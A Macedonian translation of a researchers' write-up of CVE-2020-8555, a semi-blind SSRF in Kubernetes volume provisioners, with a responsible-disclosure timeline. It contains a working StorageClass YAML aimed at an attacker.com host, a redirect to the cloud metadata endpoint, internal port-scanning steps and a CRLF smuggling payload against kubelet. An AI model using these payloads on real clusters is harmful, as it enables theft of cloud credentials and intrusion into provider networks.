Кога не се работи само за ранливости на Кубернетес...

Забелешка. превод.: авторите на оваа статија детално зборуваат за тоа како успеале да ја откријат ранливоста CVE-2020-8555 во Кубернетес. Иако првично не изгледаше многу опасно, во комбинација со други фактори неговата критичност се покажа како максимална за некои даватели на облак. Неколку организации великодушно ги наградија специјалистите за нивната работа.

Кога не се работи само за ранливости на Кубернетес...

Кои сме ние

Ние сме двајца француски истражувачи за безбедност кои заеднички открија ранливост во Кубернетес. Нашите имиња се Brice Augras и Christophe Hauquiert, но на многу платформи Bug Bounty сме познати како Reeverzax и Hach соодветно:

Што се случи?

Оваа статија е наш начин да споделиме како еден обичен истражувачки проект неочекувано се претвори во највозбудливата авантура во животот на ловците на бубачки (барем засега).

Како што веројатно знаете, ловците на бубачки имаат неколку значајни карактеристики:

  • живеат на пица и пиво;
  • тие работат кога сите други спијат.

Ние не сме исклучок од овие правила: обично се среќаваме за време на викендите и поминуваме непроспиени ноќи хакирајќи. Но, една од овие ноќи заврши на многу необичен начин.

Првично требаше да се сретнеме за да разговараме за учество во CTF следниот ден. За време на разговорот за безбедноста на Кубернетис во управувана сервисна средина, се сетивме на старата идеја за SSRF (Фалсификување на барање од страна на серверот) и одлучи да се обиде да го користи како скрипта за напад.

Во 11 часот седнавме да истражуваме и си легнавме рано наутро, презадоволни од резултатите. Токму поради ова истражување наидовме на програмата MSRC Bug Bounty и дојдовме до експлоатација за зголемување на привилегиите.

Поминаа неколку недели/месеци, а нашиот неочекуван резултат резултираше со една од највисоките награди во историјата на Azure Cloud Bug Bounty - покрај онаа што ја добивме од Kubernetes!

Врз основа на нашиот истражувачки проект, Комитетот за безбедност на производи на Кубернетес објави CVE-2020-8555.

Сега би сакал да ширам информации за пронајдената ранливост што е можно повеќе. Се надеваме дека ќе го цените откритието и ќе ги споделите техничките детали со другите членови на заедницата infosec!

Еве ја нашата приказна...

Контекст

За да добиеме максимум смисла од она што се случи, ајде прво да погледнеме како Кубернетес работи во опкружување управувано со облак.

Кога инстанцирате кластер на Kubernetes во таква средина, слојот за управување обично е одговорност на давателот на облак:

Кога не се работи само за ранливости на Кубернетес...
Контролниот слој се наоѓа на периметарот на давателот на облакот, додека јазлите Kubernetes се наоѓаат на периметарот на клиентот

За динамичка распределба на томови, се користи механизам за динамичко обезбедување на нив од надворешно складирање и споредување со PVC (постојано барање за волумен, т.е. барање за волумен).

Така, откако PVC ќе се создаде и ќе се поврзе со StorageClass во кластерот K8s, понатамошните активности за обезбедување на јачината на звукот ги презема менаџерот на контролорот kube/cloud (неговото точно име зависи од објавувањето). (Забелешка. превод.: Веќе напишавме повеќе за CCM користејќи го примерот на неговата имплементација за еден од давателите на облак тука.)

Постојат неколку видови на провизори поддржани од Кубернет: повеќето од нив се вклучени во оркестраторско јадро, додека други се управувани од дополнителни обезбедувачи кои се сместени во парчиња во кластерот.

Во нашето истражување, се фокусиравме на внатрешниот механизам за обезбедување волумен, кој е илустриран подолу:

Кога не се работи само за ранливости на Кубернетес...
Динамично обезбедување на томови со помош на вградениот провизор на Kubernetes

Накратко, кога Kubernetes е распореден во управувана средина, менаџерот на контролорот е одговорност на давателот на облакот, но барањето за создавање волумен (број 3 на дијаграмот погоре) ја напушта внатрешната мрежа на давателот на облак. И тука работите стануваат навистина интересни!

Сценарио за хакирање

Во овој дел, ќе објасниме како ја искористивме предноста на работниот тек споменат погоре и пристапивме до внатрешните ресурси на давателот на услуги во облак. Исто така, ќе ви покаже како можете да извршите одредени дејства, како што се добивање внатрешни ингеренции или зголемување на привилегиите.

Една едноставна манипулација (во овој случај, Service Side Request Forgery) помогна да се оди подалеку од околината на клиентот во кластери на различни даватели на услуги под управувани K8.

Во нашето истражување се фокусиравме на обезбедувачот на GlusterFS. И покрај фактот што понатамошната низа на дејства е опишана во овој контекст, Quobyte, StorageOS и ScaleIO се подложни на истата ранливост.

Кога не се работи само за ранливости на Кубернетес...
Злоупотреба на механизмот за обезбедување на динамичен волумен

За време на анализата на класата на складирање ГлустерФС во изворниот код на клиентот Golang ние забележалдека на првото HTTP барање (3) испратено при креирањето на волуменот, до крајот на приспособениот URL во параметарот resturl додаде /volumes.

Решивме да се ослободиме од оваа дополнителна патека со додавање # во параметар resturl. Еве ја првата YAML конфигурација што ја користевме за тестирање за полу-слепа SSRF ранливост (можете да прочитате повеќе за полу-слеп или полуслеп SSRF, на пример, тука - прибл. превод.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Потоа го користевме бинарното за далечинско управување со кластерот Kubernetes кубектел. Вообичаено, давателите на облак (Azure, Google, AWS, итн.) ви дозволуваат да добиете акредитиви за употреба во оваа алатка.

Благодарение на ова, можев да ја користам мојата „специјална“ датотека. Kube-controller-manager го изврши добиеното HTTP барање:

kubectl create -f sc-poc.yaml

Кога не се работи само за ранливости на Кубернетес...
Одговорот од гледна точка на напаѓачот

Набргу по ова, можевме да добиеме и HTTP одговор од целниот сервер - преку командите describe pvc или get events во кубектл. И навистина: овој стандарден двигател на Kubernetes е премногу опширен во своите предупредувања/пораки за грешки...

Еве еден пример со врска до https://www.google.frпоставен како параметар resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Кога не се работи само за ранливости на Кубернетес...

Во овој пристап, бевме ограничени на прашања како HTTP POST и не можеше да ја добие содржината на телото за одговор ако повратниот код беше 201. Затоа, решивме да спроведеме дополнително истражување и го проширивме ова сценарио за хакирање со нови пристапи.

Еволуцијата на нашето истражување

  • Напредно сценарио #1: Користење на пренасочување 302 од надворешен сервер за промена на методот HTTP за да се обезбеди пофлексибилен начин за собирање внатрешни податоци.
  • Напредно сценарио # 2: Автоматизирање на LAN скенирање и откривање на внатрешни ресурси.
  • Напредно сценарио # 3: користење HTTP CRLF + шверц („барање шверц“) за креирање приспособени барања за HTTP и враќање на податоците извлечени од дневниците на кубе-контролерот.

Технички спецификации

  • Истражувањето ја користеше услугата Azure Kubernetes (AKS) со верзијата 1.12 на Kubernetes во регионот на Северна Европа.
  • Сценаријата опишани погоре беа извршени на најновите изданија на Kubernetes, со исклучок на третото сценарио, бидејќи му требаше Kubernetes изграден со Golang верзија ≤ 1.12.
  • Надворешен сервер на напаѓачот - https://attacker.com.

Напредно сценарио # 1: Пренасочување на барање HTTP POST на GET и примање чувствителни податоци

Оригиналниот метод беше подобрен со конфигурацијата на серверот на напаѓачот за враќање 302 HTTP Retcodeза да конвертирате барање POST во барање GET (чекор 4 во дијаграмот):

Кога не се работи само за ранливости на Кубернетес...

Прво барање (3) кое доаѓа од клиентот ГлустерФС (Менаџер на контролер), има тип POST. Следејќи ги овие чекори, успеавме да го претвориме во GET:

  • Како параметар resturl во StorageClass е означено http://attacker.com/redirect.php.
  • Крајна точка https://attacker.com/redirect.php одговара со 302 HTTP статусен код со следново заглавие на локација: http://169.254.169.254. Ова може да биде кој било друг внатрешен ресурс - во овој случај, врската за пренасочување се користи исклучиво како пример.
  • По дифолт net/http библиотека Golang го пренасочува барањето и го конвертира POST во GET со статусен код 302, што резултира со барање HTTP GET до целниот ресурс.

За да го прочитате телото за одговор на HTTP треба да направите describe ПВЦ објект:

kubectl describe pvc xxx

Еве пример за HTTP одговор во JSON формат што можевме да го добиеме:

Кога не се работи само за ранливости на Кубернетес...

Можностите на пронајдената ранливост во тоа време беа ограничени поради следните точки:

  • Неможност да се вметнат HTTP заглавија во појдовно барање.
  • Неможност да се изврши барање POST со параметри во телото (ова е погодно да се побара клучната вредност од примерот etcd што работи на 2379 порта ако се користи нешифриран HTTP).
  • Неможност за враќање на содржината на телото на одговорот кога статусната шифра беше 200 и одговорот немаше JSON содржина-тип.

Напредно сценарио # 2: Скенирање на локалната мрежа

Овој полу-слеп метод SSRF потоа се користеше за скенирање на внатрешната мрежа на давателот на облак и анкетирање на различни услуги за слушање (пример за метаподатоци, Kubelet, итн., итн.) врз основа на одговорите кубе контролер.

Кога не се работи само за ранливости на Кубернетес...

Прво, беа одредени стандардните порти за слушање на компонентите на Кубернетес (8443, 10250, 10251 итн.), а потоа моравме да го автоматизираме процесот на скенирање.

Гледајќи дека овој метод на скенирање ресурси е многу специфичен и не е компатибилен со класичните скенери и алатките SSRF, решивме да создадеме свои работници во баш скрипта што го автоматизира целиот процес.

На пример, за брзо скенирање на опсегот 172.16.0.0/12 на внатрешната мрежа, паралелно беа лансирани 15 работници. Горенаведениот опсег на IP е избран само како пример и може да биде предмет на промена на опсегот на IP на вашиот специфичен давател на услуги.

За да скенирате една IP адреса и една порта, треба да го направите следново:

  • избришете ја последната проверена StorageClass;
  • отстранете го претходното потврдено барање за постојан волумен;
  • променете ги вредностите на IP и Port во sc.yaml;
  • креирајте StorageClass со нова IP и порта;
  • создадете нов ПВЦ;
  • екстракт од скенирање резултати користејќи опише за ПВЦ.

Напредно сценарио # 3: CRLF инјектирање + шверц на HTTP во „стари“ верзии на кластерот Kubernetes

Ако покрај ова, провајдерот им понудил на клиентите стари верзии на кластерот K8s и им даде пристап до дневниците на kube-controller-manager, ефектот стана уште позначаен.

Навистина е многу попогодно за напаѓачот да ги менува барањата за HTTP дизајнирани да добијат целосен HTTP одговор по негова дискреција.

Кога не се работи само за ранливости на Кубернетес...

За да се спроведе последното сценарио, требаше да се исполнат следниве услови:

  • Корисникот мора да има пристап до дневниците на kube-controller-manager (како, на пример, во Azure LogInsights).
  • Кластерот Kubernetes мора да користи верзија на Golang пониска од 1.12.

Употребивме локална средина која симулираше комуникација помеѓу клиентот GlusterFS Go и лажен целен сервер (засега ќе се воздржиме од објавување на PoC).

Беше пронајден ранливост, влијаејќи на верзиите на Golang пониски од 1.12 и дозволувајќи им на хакерите да вршат напади на HTTP шверц/CRLF.

Со комбинирање на полу-слепиот SSRF опишан погоре вместе со ова, можевме да испраќаме барања по наш вкус, вклучително и замена на заглавија, метод HTTP, параметри и податоци, кои kube-controller-manager потоа ги обработуваше.

Еве пример за работна „мамка“ во параметар resturl StorageClass, кој имплементира слично сценарио за напад:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Резултатот е грешка несакан одговор, порака за која е снимена во дневниците на контролорот. Благодарение на стандардно овозможена говорност, содржината на пораката за одговор HTTP исто така се зачувува таму.

Кога не се работи само за ранливости на Кубернетес...

Ова беше нашата најефективна „мамка“ во рамките на докажувањето на концептот.

Користејќи го овој пристап, можевме да извршиме некои од следните напади на кластери на различни управувани провајдери на k8s: ескалација на привилегии со акредитиви на инстанци на метаподатоци, Master DoS преку (нешифрирани) HTTP барања на итн.

Последиците

Во официјалната изјава на Kubernetes во врска со ранливоста на SSRF што ја откривме, таа беше оценета CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ако ја земеме предвид само ранливоста поврзана со периметарот на Кубернетес, векторот на интегритет (вектор на интегритет) се квалификува како Никој.

Сепак, проценката на можните последици во контекст на управувана сервисна средина (и ова беше најинтересниот дел од нашето истражување!) нè поттикна да ја прекласифицираме ранливоста во рејтинг Критички CVSS10/10 за многу дистрибутери.

Подолу се дадени дополнителни информации кои ќе ви помогнат да ги разберете нашите размислувања при проценката на потенцијалните влијанија во облак средини:

Интегритет

  • Извршете команди од далечина користејќи ги стекнатите внатрешни ингеренции.
  • Репродукција на горенаведеното сценарио со користење на методот IDOR (Небезбеден директен референтен објект) со други ресурси пронајдени на локалната мрежа.

Доверливост

  • Тип на напад Латерално движење благодарение на кражбата на ингеренциите на облакот (на пример, API за метаподатоци).
  • Собирање информации со скенирање на локалната мрежа (одредување на верзијата SSH, верзијата на серверот HTTP, ...).
  • Соберете информации за примери и инфраструктура со анкетирање на внатрешни API како што е API за метаподатоци (http://169.254.169.254,…).
  • Крадење податоци за клиентите со помош на акредитиви на облак.

Достапност

Сите експлоатирачки сценарија поврзани со вектори за напад на интегритет, може да се користи за деструктивни дејства и да доведе до недостапни мастер инстанци од периметарот на клиентот (или кој било друг).

Бидејќи бевме во управувана средина на K8 и го проценувавме влијанието врз интегритетот, можеме да замислиме многу сценарија кои би можеле да влијаат на достапноста. Дополнителни примери вклучуваат корумпирање на базата на податоци etcd или правење критички повик до Kubernetes API.

Временска рамка

  • 6 декември 2019 година: Ранливост пријавена до MSRC Bug Bounty.
  • 3 јануари 2020 година: Трета страна ги извести програмерите на Kubernetes дека работиме на безбедносен проблем. И побара од нив да го сметаат SSRF како внатрешна (во суштината) ранливост. Потоа обезбедивме општ извештај со технички детали за изворот на проблемот.
  • 15 јануари 2020 година: На програмерите на Kubernetes им обезбедивме технички и општи извештаи на нивно барање (преку платформата HackerOne).
  • 15 јануари 2020 година: Програмерите на Kubernetes нè известија дека полуслепото инјектирање SSRF + CRLF за минатите изданија се смета за ранливост во јадрото. Веднаш престанавме да ги анализираме периметрите на другите даватели на услуги: тимот на K8 сега се занимаваше со основната причина.
  • 15 јануари 2020 година: наградата MSRC добиена преку HackerOne.
  • 16 јануари 2020 година: Kubernetes PSC (Комитет за безбедност на производи) ја препозна ранливоста и побара да се чува во тајност до средината на март поради големиот број потенцијални жртви.
  • 11 февруари 2020 година: добиена награда на Google VRP.
  • 4 март 2020 година: наградата Kubernetes добиена преку HackerOne.
  • 15 март 2020 година: Првично закажаното јавно обелоденување е одложено поради ситуацијата со СОВИД-19.
  • 1 јуни 2020 година: Заедничка изјава на Kubernetes + Microsoft за ранливоста.

TL; ДР

  • Пиеме пиво и јадеме пица :)
  • Откривме вродена ранливост во Кубернетес, иако немавме намера да го сториме тоа.
  • Спроведовме дополнителна анализа на кластери на различни даватели на облак и успеавме да ја зголемиме штетата предизвикана од ранливоста за да добиеме дополнителни прекрасни бонуси.
  • Ќе најдете многу технички детали во оваа статија. Со задоволство би разговарале за нив со вас (Твитер: @ReeverZax & @__hach_).
  • Се испостави дека секакви формалности и известувања траеле многу подолго од очекуваното.

референци

PS од преведувач

Прочитајте и на нашиот блог:

Извор: www.habr.com

Додадете коментар